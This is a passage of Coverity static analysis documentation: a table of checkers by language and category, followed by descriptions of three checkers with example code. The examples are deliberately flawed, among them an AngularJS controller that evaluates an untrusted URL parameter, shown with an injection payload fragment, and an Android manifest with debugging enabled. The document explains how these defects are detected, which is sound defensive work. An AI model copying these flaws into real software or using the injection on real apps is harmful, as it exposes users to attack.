| Concurrency |
|
| LOCK_EVASION | C# | Default |
| |
| LOCK_EVASION | Java | Default |
| |
| LOCK_INVERSION | Java |
| Default |
|
| LOCK_INVERSION | C# |
| Optional |
|
| LOG_INJECTION | Java | Optional |
| |
| MISMATCHED_ITERATOR | Objective-C++ |
| Default |
|
| MISMATCHED_ITERATOR | C++ |
| Default |
|
| MISRA_CAST | Objective-C |
| Optional |
|
| MISRA_CAST | Objective-C++ |
| Optional |
|
| MISRA_CAST | C |
| Optional |
|
| MISRA_CAST | C++ |
| Optional |
|
| MISSING_AUTHZ | JavaScript |
| Webapp Security |
|
| MISSING_AUTHZ | PHP |
| Webapp Security |
|
| MISSING_AUTHZ | Python 2 |
| Webapp Security |
|
| MISSING_AUTHZ | Visual Basic |
| Webapp Security |
|
| MISSING_AUTHZ | C# |
| Webapp Security |
|
| MISSING_AUTHZ | Java |
| Webapp Security |
|
| MISSING_BREAK | JavaScript |
| Default |
|
| MISSING_BREAK | Objective-C |
| Default |
|
| MISSING_BREAK | Objective-C++ |
| Default |
|
| MISSING_BREAK | PHP |
| Default |
|
| MISSING_BREAK | C |
| Default |
|
| MISSING_BREAK | C++ |
| Default |
|
| MISSING_BREAK | Java |
| Default |
|
| MISSING_COMMA | Objective-C | Default |
| |
| MISSING_COMMA | Objective-C++ | Default |
| |
| MISSING_COMMA | C | Default |
| |
| MISSING_COMMA | C++ | Default |
| |
| MISSING_COPY_OR_ASSIGN | Objective-C++ | Rule |
| |
| MISSING_COPY_OR_ASSIGN | C++ | Rule |
| |
| MISSING_IFRAME_SANDBOX | JavaScript |
| Webapp Security |
|
| MISSING_LOCK | Objective-C |
| Concurrency |
|
| MISSING_LOCK | Objective-C++ |
| Concurrency |
|
| MISSING_LOCK | C |
| Concurrency |
|
| MISSING_LOCK | C++ |
| Concurrency |
|
| MISSING_MOVE_ASSIGNMENT | Objective-C++ |
| Default |
|
| MISSING_MOVE_ASSIGNMENT | C++ |
| Default |
|
| MISSING_PERMISSION_FOR_BROADCAST | Java | Android Security |
| |
| MISSING_PERMISSION_ON_EXPORTED_COMPONENT | Java |
| Android Security |
|
| MISSING_RESTORE | Objective-C |
| Default |
|
| MISSING_RESTORE | Objective-C++ |
| Default |
|
| MISSING_RESTORE | C |
| Default |
|
| MISSING_RESTORE | C++ |
| Default |
|
| MISSING_RESTORE | C# |
| Default |
|
| MISSING_RESTORE | Java |
| Default |
|
| MISSING_RETURN | Objective-C |
| Default |
|
| MISSING_RETURN | Objective-C++ |
| Default |
|
| MISSING_RETURN | C |
| Default |
|
| MISSING_RETURN | C++ |
| Default |
|
| MISSING_THROW | C# | Default |
| |
| MISSING_THROW | Java | Default |
| |
| MIXED_ENUMS | Objective-C |
| Optional |
|
| MIXED_ENUMS | Objective-C++ |
| Optional |
|
| MIXED_ENUMS | C |
| Optional |
|
| MIXED_ENUMS | C++ |
| Optional |
|
| MOBILE_ID_MISUSE | Java |
| Android Security |
|
| NEGATIVE_RETURNS | Objective-C | Default |
| |
| NEGATIVE_RETURNS | Objective-C++ | Default |
| |
| NEGATIVE_RETURNS | C | Default |
| |
| NEGATIVE_RETURNS | C++ | Default |
| |
| NESTING_INDENT_MISMATCH | JavaScript |
| Default |
|
| NESTING_INDENT_MISMATCH | Objective-C |
| Default |
|
| NESTING_INDENT_MISMATCH | Objective-C++ |
| Default |
|
| NESTING_INDENT_MISMATCH | PHP |
| Default |
|
| NESTING_INDENT_MISMATCH | Scala |
| Default |
|
| NESTING_INDENT_MISMATCH | C |
| Default |
|
| NESTING_INDENT_MISMATCH | C++ |
| Default |
|
| NESTING_INDENT_MISMATCH | C# |
| Default |
|
| NESTING_INDENT_MISMATCH | Java |
| Default |
|
| NON_STATIC_GUARDING_STATIC | C# | Default |
| |
| NON_STATIC_GUARDING_STATIC | Java | Default |
| |
| NOSQL_QUERY_INJECTION | JavaScript |
| Webapp Security |
|
| NOSQL_QUERY_INJECTION | PHP |
| Webapp Security |
|
| NOSQL_QUERY_INJECTION | Python 2 |
| Webapp Security |
|
| NOSQL_QUERY_INJECTION | C# | Webapp Security |
| |
| NOSQL_QUERY_INJECTION | Java | Webapp Security |
| |
| NO_EFFECT | JavaScript |
| Default |
|
| NO_EFFECT | Objective-C |
| Default |
|
| NO_EFFECT | Objective-C++ |
| Default |
|
| NO_EFFECT | PHP |
| Default |
|
| NO_EFFECT | Ruby |
| Default |
|
| NO_EFFECT | Scala |
| Default |
|
| NO_EFFECT | C |
| Default |
|
| NO_EFFECT | C++ |
| Default |
|
| NULL_RETURNS | JavaScript |
| Default |
|
| NULL_RETURNS | Objective-C |
| Default |
|
| NULL_RETURNS | Objective-C++ |
| Default |
|
| NULL_RETURNS | C |
| Default |
|
| NULL_RETURNS | C++ |
| Default |
|
| NULL_RETURNS | C# |
| Default |
|
| NULL_RETURNS | Java |
| Default |
|
| OGNL_INJECTION | Java | Webapp Security |
| |
| OPEN_ARGS | Objective-C | Security |
| |
| OPEN_ARGS | Objective-C++ | Security |
| |
| OPEN_ARGS | C | Security |
| |
| OPEN_ARGS | C++ | Security |
| |
| OPEN_REDIRECT | JavaScript |
| Webapp Security |
|
| OPEN_REDIRECT | PHP |
| Webapp Security |
|
| OPEN_REDIRECT | Python 2 |
| Webapp Security |
|
| OPEN_REDIRECT | Visual Basic | Webapp Security |
| |
| OPEN_REDIRECT | C# | Webapp Security |
| |
| OPEN_REDIRECT | Java | Webapp Security |
| |
| ORDER_REVERSAL | Objective-C |
| Concurrency |
|
| ORDER_REVERSAL | Objective-C++ |
| Concurrency |
|
| ORDER_REVERSAL | C |
| Concurrency |
|
| ORDER_REVERSAL | C++ |
| Concurrency |
|
| ORM_LOAD_NULL_CHECK | Java | Default |
| |
| ORM_LOST_UPDATE | Java | Optional |
| |
| ORM_UNNECESSARY_GET | Java | Default |
| |
| OS_CMD_INJECTION | JavaScript |
| Webapp Security |
|
| OS_CMD_INJECTION | PHP |
| Webapp Security |
|
| OS_CMD_INJECTION | Python 2 |
| Webapp Security |
|
| OS_CMD_INJECTION | Visual Basic |
| Webapp Security |
|
| OS_CMD_INJECTION | C# |
| Webapp Security |
|
| OS_CMD_INJECTION | Java |
| Webapp Security |
|
| OS_CMD_INJECTION | Java |
| Android Security |
|
| OVERFLOW_BEFORE_WIDEN | Objective-C |
| Default |
|
| OVERFLOW_BEFORE_WIDEN | Objective-C++ |
| Default |
|
| OVERFLOW_BEFORE_WIDEN | Scala |
| Default |
|
| OVERFLOW_BEFORE_WIDEN | C |
| Default |
|
| OVERFLOW_BEFORE_WIDEN | C++ |
| Default |
|
| OVERFLOW_BEFORE_WIDEN | C# |
| Default |
|
| OVERFLOW_BEFORE_WIDEN | Java |
| Default |
|
| OVERLAPPING_COPY | C | Default |
| |
| OVERLAPPING_COPY | C++ | Default |
| |
| OVERRUN | Objective-C |
| Default |
|
| OVERRUN | Objective-C++ |
| Default |
|
| OVERRUN | C |
| Default |
|
| OVERRUN | C++ |
| Default |
|
| PARSE_ERROR | Swift | Optional |
| |
| PARSE_ERROR | C | Optional |
| |
| PARSE_ERROR | C++ | Optional |
| |
| PASS_BY_VALUE | Objective-C |
| Default |
|
| PASS_BY_VALUE | Objective-C++ |
| Default |
|
| PASS_BY_VALUE | C |
| Default |
|
| PASS_BY_VALUE | C++ |
| Default |
|
| PATH_MANIPULATION | Swift |
| Default |
|
| PATH_MANIPULATION | JavaScript |
| Webapp Security |
|
| PATH_MANIPULATION | PHP |
| Webapp Security |
|
| PATH_MANIPULATION | Python 2 |
| Webapp Security |
|
| PATH_MANIPULATION | Visual Basic | Webapp Security |
| |
| PATH_MANIPULATION | C# | Webapp Security |
| |
| PATH_MANIPULATION | Java | Webapp Security |
| |
| PATH_MANIPULATION | Java | Android Security |
| |
| PREDICTABLE_RANDOM_SEED | Java | Webapp Security |
| |
| PREDICTABLE_RANDOM_SEED | Java | Android Security |
| |
| PROPERTY_MIXUP | Swift |
| Default |
|
| PROPERTY_MIXUP | Visual Basic |
| Default |
|
| PROPERTY_MIXUP | C# |
| Default |
|
| PROPERTY_MIXUP | Java |
| Default |
|
| READLINK | Objective-C | Default |
| |
| READLINK | Objective-C++ | Default |
| |
| READLINK | C | Default |
| |
| READLINK | C++ | Default |
| |
| REGEX_CONFUSION | Java |
| Default |
|
| REGEX_INJECTION | Swift |
| Default |
|
| REGEX_INJECTION | JavaScript |
| Webapp Security |
|
| REGEX_INJECTION | Visual Basic | Webapp Security |
| |
| REGEX_INJECTION | C# | Webapp Security |
| |
| REGEX_INJECTION | Java | Webapp Security |
| |
| REGEX_INJECTION | Java | Android Security |
| |
| RESOURCE_LEAK | Objective-C | Default |
| |
| RESOURCE_LEAK | Objective-C++ | Default |
| |
| RESOURCE_LEAK | Visual Basic | Default |
| |
| RESOURCE_LEAK | C |
| Default |
|
| RESOURCE_LEAK | C++ |
| Default |
|
| RESOURCE_LEAK | C# | Default |
| |
| RESOURCE_LEAK | Java | Default |
| |
| RETURN_LOCAL | Objective-C |
| Default |
|
| RETURN_LOCAL | Objective-C++ |
| Default |
|
| RETURN_LOCAL | C |
| Default |
|
| RETURN_LOCAL | C++ |
| Default |
|
| REVERSE_INULL | JavaScript | Default |
| |
| REVERSE_INULL | Objective-C | Default |
| |
| REVERSE_INULL | Objective-C++ | Default |
| |
| REVERSE_INULL | Python 2 | Default |
| |
| REVERSE_INULL | Python 3 | Default |
| |
| REVERSE_INULL | Ruby | Default |
| |
| REVERSE_INULL | Scala | Default |
| |
| REVERSE_INULL | Swift | Default |
| |
| REVERSE_INULL | Visual Basic | Default |
| |
| REVERSE_INULL | C | Default |
| |
| REVERSE_INULL | C++ | Default |
| |
| REVERSE_INULL | C# | Default |
| |
| REVERSE_INULL | Java | Default |
| |
| REVERSE_NEGATIVE | Objective-C | Default |
| |
| REVERSE_NEGATIVE | Objective-C++ | Default |
| |
| REVERSE_NEGATIVE | C | Default |
| |
| REVERSE_NEGATIVE | C++ | Default |
| |
| RISKY_CRYPTO | Swift |
| Default |
|
| RISKY_CRYPTO | JavaScript |
| Optional |
|
| RISKY_CRYPTO | Objective-C |
| Optional |
|
| RISKY_CRYPTO | Objective-C++ |
| Optional |
|
| RISKY_CRYPTO | C |
| Optional |
|
| RISKY_CRYPTO | C++ |
| Optional |
|
| RISKY_CRYPTO | JavaScript |
| Webapp Security |
|
| RISKY_CRYPTO | Visual Basic |
| Webapp Security |
|
| RISKY_CRYPTO | C# |
| Webapp Security |
|
| RISKY_CRYPTO | Java |
| Webapp Security |
|
| RISKY_CRYPTO | Java |
| Android Security |
|
| SCRIPT_CODE_INJECTION | Swift |
| Default |
|
| SCRIPT_CODE_INJECTION | JavaScript |
| Webapp Security |
|
| SCRIPT_CODE_INJECTION | PHP |
| Webapp Security |
|
| SCRIPT_CODE_INJECTION | Python 2 |
| Webapp Security |
|
| SCRIPT_CODE_INJECTION | C# | Webapp Security |
| |
| SCRIPT_CODE_INJECTION | Java | Webapp Security |
| |
| SECURE_CODING | Objective-C | Deprecated |
| |
| SECURE_CODING | Objective-C++ | Deprecated |
| |
| SECURE_CODING | C | Deprecated |
| |
| SECURE_CODING | C++ | Deprecated |
| |
| SECURE_TEMP | C | Security |
| |
| SECURE_TEMP | C++ | Security |
| |
| SELF_ASSIGN | Objective-C++ | Rule |
| |
| SELF_ASSIGN | C++ | Rule |
| |
| SENSITIVE_DATA_LEAK | Swift |
| Default |
|
| SENSITIVE_DATA_LEAK | JavaScript |
| Webapp Security |
|
| SENSITIVE_DATA_LEAK | PHP |
| Webapp Security |
|
| SENSITIVE_DATA_LEAK | Python 2 |
| Webapp Security |
|
| SENSITIVE_DATA_LEAK | Visual Basic |
| Webapp Security |
|
| SENSITIVE_DATA_LEAK | C# |
| Webapp Security |
|
| SENSITIVE_DATA_LEAK | Java |
| Webapp Security |
|
| SENSITIVE_DATA_LEAK | Java |
| Android Security |
|
| SERVLET_ATOMICITY | Java |
| Default |
|
| SESSION_FIXATION | Java | Webapp Security |
| |
| SIGN_EXTENSION | Objective-C |
| Default |
|
| SIGN_EXTENSION | Objective-C++ |
| Default |
|
| SIGN_EXTENSION | C |
| Default |
|
| SIGN_EXTENSION | C++ |
| Default |
|
| SINGLETON_RACE | Java | Default |
| |
| SIZECHECK | Objective-C |
| Deprecated |
|
| SIZECHECK | Objective-C++ |
| Deprecated |
|
| SIZECHECK | C |
| Deprecated |
|
| SIZECHECK | C++ |
| Deprecated |
|
| SIZEOF_MISMATCH | Objective-C |
| Default |
|
| SIZEOF_MISMATCH | Objective-C++ |
| Default |
|
| SIZEOF_MISMATCH | C |
| Default |
|
| SIZEOF_MISMATCH | C++ |
| Default |
|
| SLEEP | Objective-C | Concurrency |
| |
| SLEEP | Objective-C++ | Concurrency |
| |
| SLEEP | C | Concurrency |
| |
| SLEEP | C++ | Concurrency |
| |
| SQLI | Swift |
| Default |
|
| SQLI | JavaScript |
| Webapp Security |
|
| SQLI | PHP |
| Webapp Security |
|
| SQLI | Python 2 |
| Webapp Security |
|
| SQLI | Visual Basic |
| Webapp Security |
|
| SQLI | C# |
| Webapp Security |
|
| SQLI | Java |
| Webapp Security |
|
| SQLI | Java |
| Android Security |
|
| SQL_NOT_CONSTANT | Visual Basic | Optional |
| |
| SQL_NOT_CONSTANT | C# | Optional |
| |
| SQL_NOT_CONSTANT | Java | Optional |
| |
| STACK_USE | Objective-C |
| Optional |
|
| STACK_USE | Objective-C++ |
| Optional |
|
| STACK_USE | C |
| Optional |
|
| STACK_USE | C++ |
| Optional |
|
| STRAY_SEMICOLON | JavaScript | Default |
| |
| STRAY_SEMICOLON | Objective-C | Default |
| |
| STRAY_SEMICOLON | Objective-C++ | Default |
| |
| STRAY_SEMICOLON | PHP | Default |
| |
| STRAY_SEMICOLON | C | Default |
| |
| STRAY_SEMICOLON | C++ | Default |
| |
| STRAY_SEMICOLON | C# | Default |
| |
| STRAY_SEMICOLON | Java | Default |
| |
| STREAM_FORMAT_STATE | Objective-C++ |
| Default |
|
| STREAM_FORMAT_STATE | C++ |
| Default |
|
| STRING_NULL | Objective-C | Security |
| |
| STRING_NULL | Objective-C++ | Security |
| |
| STRING_NULL | C | Security |
| |
| STRING_NULL | C++ | Security |
| |
| STRING_OVERFLOW | Objective-C |
| Security |
|
| STRING_OVERFLOW | Objective-C++ |
| Security |
|
| STRING_OVERFLOW | C |
| Security |
|
| STRING_OVERFLOW | C++ |
| Security |
|
| STRING_SIZE | Objective-C | Security |
| |
| STRING_SIZE | Objective-C++ | Security |
| |
| STRING_SIZE | C | Security |
| |
| STRING_SIZE | C++ | Security |
| |
| SWAPPED_ARGUMENTS | Objective-C |
| Default |
|
| SWAPPED_ARGUMENTS | Objective-C++ |
| Default |
|
| SWAPPED_ARGUMENTS | Visual Basic |
| Default |
|
| SWAPPED_ARGUMENTS | C |
| Default |
|
| SWAPPED_ARGUMENTS | C++ |
| Default |
|
| SWAPPED_ARGUMENTS | C# |
| Default |
|
| SWAPPED_ARGUMENTS | Java |
| Default |
|
| SYMFONY_EL_INJECTION | PHP |
| Webapp Security |
|
| TAINTED_SCALAR | Objective-C |
| Security |
|
| TAINTED_SCALAR | Objective-C++ |
| Security |
|
| TAINTED_SCALAR | C |
| Security |
|
| TAINTED_SCALAR | C++ |
| Security |
|
| TAINTED_STRING | Objective-C |
| Security |
|
| TAINTED_STRING | Objective-C++ |
| Security |
|
| TAINTED_STRING | C |
| Security |
|
| TAINTED_STRING | C++ |
| Security |
|
| TAINT_ASSERT | C# | Webapp Security |
| |
| TAINT_ASSERT | Java | Webapp Security |
| |
| TOCTOU | Objective-C | Security |
| |
| TOCTOU | Objective-C++ | Security |
| |
| TOCTOU | C | Security |
| |
| TOCTOU | C++ | Security |
| |
| UNCAUGHT_EXCEPT | Objective-C++ |
| Default |
|
| UNCAUGHT_EXCEPT | C++ |
| Default |
|
| UNCHECKED_ORIGIN | JavaScript | Webapp Security |
| |
| UNENCRYPTED_SENSITIVE_DATA | Swift |
| Default |
|
| UNENCRYPTED_SENSITIVE_DATA | Objective-C |
| Optional |
|
| UNENCRYPTED_SENSITIVE_DATA | Objective-C++ |
| Optional |
|
| UNENCRYPTED_SENSITIVE_DATA | C |
| Optional |
|
| UNENCRYPTED_SENSITIVE_DATA | C++ |
| Optional |
|
| UNENCRYPTED_SENSITIVE_DATA | C# |
| Webapp Security |
|
| UNENCRYPTED_SENSITIVE_DATA | Java |
| Webapp Security |
|
| UNEXPECTED_CONTROL_FLOW | JavaScript |
| Default |
|
| UNEXPECTED_CONTROL_FLOW | Objective-C |
| Default |
|
| UNEXPECTED_CONTROL_FLOW | Objective-C++ |
| Default |
|
| UNEXPECTED_CONTROL_FLOW | PHP |
| Default |
|
| UNEXPECTED_CONTROL_FLOW | Ruby |
| Default |
|
| UNEXPECTED_CONTROL_FLOW | Swift |
| Default |
|
| UNEXPECTED_CONTROL_FLOW | Visual Basic |
| Default |
|
| UNEXPECTED_CONTROL_FLOW | C |
| Default |
|
| UNEXPECTED_CONTROL_FLOW | C++ |
| Default |
|
| UNEXPECTED_CONTROL_FLOW | C# |
| Default |
|
| UNEXPECTED_CONTROL_FLOW | Java |
| Default |
|
| UNINIT | Objective-C |
| Default |
|
| UNINIT | Objective-C++ |
| Default |
|
| UNINIT | C |
| Default |
|
| UNINIT | C++ |
| Default |
|
| UNINIT_CTOR | Objective-C++ |
| Default |
|
| UNINIT_CTOR | C++ |
| Default |
|
| UNINTENDED_GLOBAL | JavaScript | Default |
| |
| UNINTENDED_INTEGER_DIVISION | Objective-C | Default |
| |
| UNINTENDED_INTEGER_DIVISION | Objective-C++ | Default |
| |
| UNINTENDED_INTEGER_DIVISION | Scala | Default |
| |
| UNINTENDED_INTEGER_DIVISION | C | Default |
| |
| UNINTENDED_INTEGER_DIVISION | C++ | Default |
| |
| UNINTENDED_INTEGER_DIVISION | C# | Default |
| |
| UNINTENDED_INTEGER_DIVISION | Java | Default |
| |
| UNKNOWN_LANGUAGE_INJECTION | C# | Webapp Security |
| |
| UNKNOWN_LANGUAGE_INJECTION | Java | Webapp Security |
| |
| UNLOGGED_SECURITY_EXCEPTION | Visual Basic |
| Webapp Security |
|
| UNLOGGED_SECURITY_EXCEPTION | C# |
| Webapp Security |
|
| UNLOGGED_SECURITY_EXCEPTION | Java |
| Webapp Security |
|
| UNREACHABLE | JavaScript |
| Default |
|
| UNREACHABLE | Objective-C |
| Default |
|
| UNREACHABLE | Objective-C++ |
| Default |
|
| UNREACHABLE | PHP |
| Default |
|
| UNREACHABLE | Python 2 | Default |
| |
| UNREACHABLE | Python 3 | Default |
| |
| UNREACHABLE | Ruby | Default |
| |
| UNREACHABLE | Scala | Default |
| |
| UNREACHABLE | Visual Basic |
| Default |
|
| UNREACHABLE | C |
| Default |
|
| UNREACHABLE | C++ |
| Default |
|
| UNREACHABLE | C# |
| Default |
|
| UNREACHABLE | Java |
| Default |
|
| UNRESTRICTED_ACCESS_TO_FILE | Java |
| Android Security |
|
| UNRESTRICTED_DISPATCH | Visual Basic | Webapp Security |
| |
| UNRESTRICTED_DISPATCH | C# | Webapp Security |
| |
| UNRESTRICTED_DISPATCH | Java | Webapp Security |
| |
| UNRESTRICTED_MESSAGE_TARGET | JavaScript | Webapp Security |
| |
| UNSAFE_DESERIALIZATION | JavaScript |
| Webapp Security |
|
| UNSAFE_DESERIALIZATION | PHP |
| Webapp Security |
|
| UNSAFE_DESERIALIZATION | Python 2 |
| Webapp Security |
|
| UNSAFE_DESERIALIZATION | Visual Basic | Webapp Security |
| |
| UNSAFE_DESERIALIZATION | C# | Webapp Security |
| |
| UNSAFE_DESERIALIZATION | Java | Webapp Security |
| |
| UNSAFE_DESERIALIZATION | Java | Android Security |
| |
| UNSAFE_JNI | Java | Webapp Security |
| |
| UNSAFE_NAMED_QUERY | Visual Basic | Webapp Security |
| |
| UNSAFE_NAMED_QUERY | C# | Webapp Security |
| |
| UNSAFE_NAMED_QUERY | Java | Webapp Security |
| |
| UNSAFE_REFLECTION | PHP |
| Webapp Security |
|
| UNSAFE_REFLECTION | Java | Webapp Security |
| |
| UNSAFE_REFLECTION | Java | Android Security |
| |
| UNUSED_VALUE | Objective-C |
| Default |
|
| UNUSED_VALUE | Objective-C++ |
| Default |
|
| UNUSED_VALUE | C |
| Default |
|
| UNUSED_VALUE | C++ |
| Default |
|
| UNUSED_VALUE | C# |
| Default |
|
| UNUSED_VALUE | Java |
| Default |
|
| URL_MANIPULATION | Java | Webapp Security |
| |
| URL_MANIPULATION | Java | Android Security |
| |
| USELESS_CALL | Objective-C |
| Default |
|
| USELESS_CALL | Objective-C++ |
| Default |
|
| USELESS_CALL | C |
| Default |
|
| USELESS_CALL | C++ |
| Default |
|
| USELESS_CALL | C# |
| Default |
|
| USELESS_CALL | Java |
| Default |
|
| USER_POINTER | Objective-C | Optional |
| |
| USER_POINTER | Objective-C++ | Optional |
| |
| USER_POINTER | C | Optional |
| |
| USER_POINTER | C++ | Optional |
| |
| USE_AFTER_FREE | Objective-C | Default |
| |
| USE_AFTER_FREE | Objective-C++ | Default |
| |
| USE_AFTER_FREE | C |
| Default |
|
| USE_AFTER_FREE | C++ |
| Default |
|
| USE_AFTER_FREE | Java | Optional |
| |
| VARARGS | Objective-C | Default |
| |
| VARARGS | Objective-C++ | Default |
| |
| VARARGS | C | Default |
| |
| VARARGS | C++ | Default |
| |
| VIRTUAL_DTOR | Objective-C++ |
| Default |
|
| VIRTUAL_DTOR | C++ |
| Default |
|
| VOLATILE_ATOMICITY | C# | Default |
| |
| VOLATILE_ATOMICITY | Java | Default |
| |
| WEAK_BIOMETRIC_AUTH | Swift | Default |
| |
| WEAK_GUARD | Objective-C |
| Optional |
|
| WEAK_GUARD | Objective-C++ |
| Optional |
|
| WEAK_GUARD | C |
| Optional |
|
| WEAK_GUARD | C++ |
| Optional |
|
| WEAK_GUARD | Java |
| Webapp Security |
|
| WEAK_PASSWORD_HASH | Objective-C |
| Optional |
|
| WEAK_PASSWORD_HASH | Objective-C++ |
| Optional |
|
| WEAK_PASSWORD_HASH | C |
| Optional |
|
| WEAK_PASSWORD_HASH | C++ |
| Optional |
|
| WEAK_PASSWORD_HASH | Visual Basic |
| Webapp Security |
|
| WEAK_PASSWORD_HASH | C# |
| Webapp Security |
|
| WEAK_PASSWORD_HASH | Java |
| Webapp Security |
|
| WEAK_PASSWORD_HASH | Java |
| Android Security |
|
| WRAPPER_ESCAPE | Objective-C++ |
| Default |
|
| WRAPPER_ESCAPE | C++ |
| Default |
|
| WRONG_METHOD | Java |
| Default |
|
| XML_EXTERNAL_ENTITY | JavaScript |
| Webapp Security |
|
| XML_EXTERNAL_ENTITY | PHP |
| Webapp Security |
|
| XML_EXTERNAL_ENTITY | Python 2 |
| Webapp Security |
|
| XML_EXTERNAL_ENTITY | Visual Basic | Webapp Security |
| |
| XML_EXTERNAL_ENTITY | C# | Webapp Security |
| |
| XML_EXTERNAL_ENTITY | Java | Webapp Security |
| |
| XML_EXTERNAL_ENTITY | Java | Android Security |
| |
| XML_INJECTION | C# | Optional |
| |
| XML_INJECTION | Java | Optional |
| |
| XPATH_INJECTION | Swift |
| Default |
|
| XPATH_INJECTION | C# | Webapp Security |
| |
| XPATH_INJECTION | Java | Webapp Security |
| |
| XSS | JavaScript |
| Webapp Security |
|
| XSS | PHP |
| Webapp Security |
|
| XSS | Python 2 |
| Webapp Security |
|
| XSS | Visual Basic |
| Webapp Security |
|
| XSS | C# |
| Webapp Security |
|
| XSS | Java |
| Webapp Security |
|
| XSS | Java |
| Android Security |
|
By default, Coverity Analysis enables a subset of the checkers that are
covered by your license. To enable additional checkers, you use the
cov-analyze command (see Section 1.3.1, “Enabling and Disabling Checkers with cov-analyze”).
![]() | Objective-C and Objective-C/++ checkers |
|---|---|
In general, C/C++ checkers are also Objective-C and Objective-C++ checkers. For a complete list, see Chapter 3, Checker Enablement and Option Defaults by Language. |
Supported Languages: C, C++, Objective-C, Objective-C++
ALLOC_FREE_MISMATCH reports many cases where a resource is allocated with a dedicated allocation function, and there is an associated dedicated freeing function, but instead a different freeing function was called. When a resource can be allocated in multiple incompatible ways, the C and C++ type systems cannot enforce correct API usage. Incorrect API usage can lead to memory leaks or memory corruption.
Enabled by default: ALLOC_FREE_MISMATCH is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more ALLOC_FREE_MISMATCH examples.
void mixedNewAndFree() {
int *x = new int;
free(x); // should use 'delete x'
}
// MS Windows API
HINTERNET hConn = InternetOpenUrl(hSession, url, headers, \
length, flags, context);
CloseHandle(hConn); // should use 'InternetCloseHandle(hConn)'Custom allocators can be modeled by using the
__coverity_mark_as_afm_allocated__ and
__coverity_mark_as_afm_freed__ primitives, which are used exclusively
by ALLOC_FREE_MISMATCH. Each accepts a handle/pointer parameter and a common string
(usually the name of the deallocator) that indicates the pairing; for example:
// myalloc() and myfree() are paired
void* myalloc() {
void *p;
__coverity_mark_as_afm_allocated__(p, "myfree");
return p;
}
void myfree(void *p) {
__coverity_mark_as_afm_freed__(p, "myfree");
}
void test1() {
void *p = myalloc();
myfree(p); // no bug
p = myalloc();
free(p); // bug
}
// arena_alloc() returns memory that should not be freed
void* arena_alloc(arena_t *a, size_t n) {
void *p;
__coverity_mark_as_afm_allocated__(p, "bogus string");
return p;
}ANDROID_DEBUG_MODE
reports a defect in an AndroidManifest.xml file when the
application's debug mode is enabled by setting the android:debuggable attribute to true.
Enabling the debug mode may allow an attacker to debug the internal state of the
application and gain access to sensitive data and services.
Disabled by default: ANDROID_DEBUG_MODE is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Android security checker enablement: To enable ANDROID_DEBUG_MODE
along with other Java Android security checkers, use the --android-security
option to the cov-analyze command.
An ANDROID_DEBUG_MODE defect shows an Android application that has the debug mode enabled.
This section provides one or more ANDROID_DEBUG_MODE examples.
Consider the following example:
<application android:debuggable="true"> <!-- //#defect#ANDROID_DEBUG_MODE -->
<activity
android:name=".TestActivity" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>The application's debug mode is enabled by setting the application's android:debuggable
attribute to true.
Supported Languages: JavaScript
ANGULAR_EXPRESSION_INJECTION reports a defect in code that uses an untrusted value as part of an AngularJS expression. Such code might allow an attacker to affect the application's behavior by manipulating the AngularJS expression.
Disabled by default: ANGULAR_EXPRESSION_INJECTION is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable ANGULAR_EXPRESSION_INJECTION
along with other Web application checkers,
use the --webapp-security
option.
An ANGULAR_EXPRESSION_INJECTION defect shows a dataflow path by which untrusted (tainted) data makes
its way into a value used as an AngularJS expression. The path starts at a source of
untrusted data, such as a read of a URL property that an attacker might control (for
example, window.location.hash) or a read of data from a different frame.
From there, the events in the defect show how this tainted data flows through the
program, for example, from the argument of a function call to the parameter of the
called function. The final part of the path shows the data flowing into the value that
is used as an AngularJS expression.
This section provides one or more ANGULAR_EXPRESSION_INJECTION examples.
<body ng-app="myAppModule" ng-controller="myController">
<script>
angular.module('myAppModule', [])
.controller('myController',
['$scope', '$location',
function($scope, $location) {
$scope.dangerous = function(value) {
// This represents a dangerous method, belonging to the
// scope. We do not want attackers to make
// arbitrary calls to this method.
console.log('called dangerous method with value: ' + value);
alert('called dangerous method with value: ' + value)
}
// This is provided by the attacker through the location URL
var untrustedExpression = $location.search().untrustedValue;
// Passing the value "dangerous('payload')" allows calling
// the dangerous method
$scope.$eval(untrustedExpression);
}
]);
</script>
</body>Exploitation example: To make the AngularJS expression call the dangerous
Scope method, append the following fragment to the page URL.
#/?untrustedValue=dangerous('payload')This section describes one or more ANGULAR_EXPRESSION_INJECTION options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
ANGULAR_EXPRESSION_INJECTION:distrust_all:<boolean> - Setting this
option to true is equivalent to setting all trust_* checker options
for this checker to false. Defaults to
ANGULAR_EXPRESSION_INJECTION:distrust_all:false.
This checker option is automatically set to true if the
--webapp-security-aggressiveness-level option of
the cov-analyze command is set to high.
ANGULAR_EXPRESSION_INJECTION:trust_js_client_cookie:<boolean> -
When this option is set to false, the analysis does not trust data from cookies
in client-side JavaScript code, for example from document.cookie.
This option was formerly called trust_client_cookie. Defaults to
ANGULAR_EXPRESSION_INJECTION:trust_js_client_cookie:true.
ANGULAR_EXPRESSION_INJECTION:trust_js_client_external:<boolean> -
When this option is set to false, the analysis
does not trust data from the response to an XMLHttpRequest or similar in
client-side JavaScript code. Note: this option was formerly called
trust_external. Defaults to
ANGULAR_EXPRESSION_INJECTION:trust_js_client_external:false.
ANGULAR_EXPRESSION_INJECTION:trust_js_client_html_element:<boolean> -
When this option is set to false, the analysis
does not trust data from user input on HTML elements such as
textarea and input elements in client-side
JavaScript code. Defaults to
ANGULAR_EXPRESSION_INJECTION:trust_js_client_html_element:true.
ANGULAR_EXPRESSION_INJECTION:trust_js_client_http_header:<boolean>
- When this option is set to false, the analysis does not trust data from HTTP
response headers on the response to an XMLHttpRequest or similar in
client-side JavaScript code. Defaults to
ANGULAR_EXPRESSION_INJECTION:trust_js_client_http_header:true.
ANGULAR_EXPRESSION_INJECTION:trust_js_client_http_referer:<boolean>
- When this option is set to false, the analysis does not trust data from the
'referer' HTTP header (from document.referrer) in client-side
JavaScript code. Defaults to
ANGULAR_EXPRESSION_INJECTION:trust_js_client_http_referer:false.
ANGULAR_EXPRESSION_INJECTION:trust_js_client_other_origin:<boolean>
- When this option is set to false, the analysis does not trust data from
content in another frame or from another origin, for instance from
window.name, in client-side JavaScript code. Defaults to
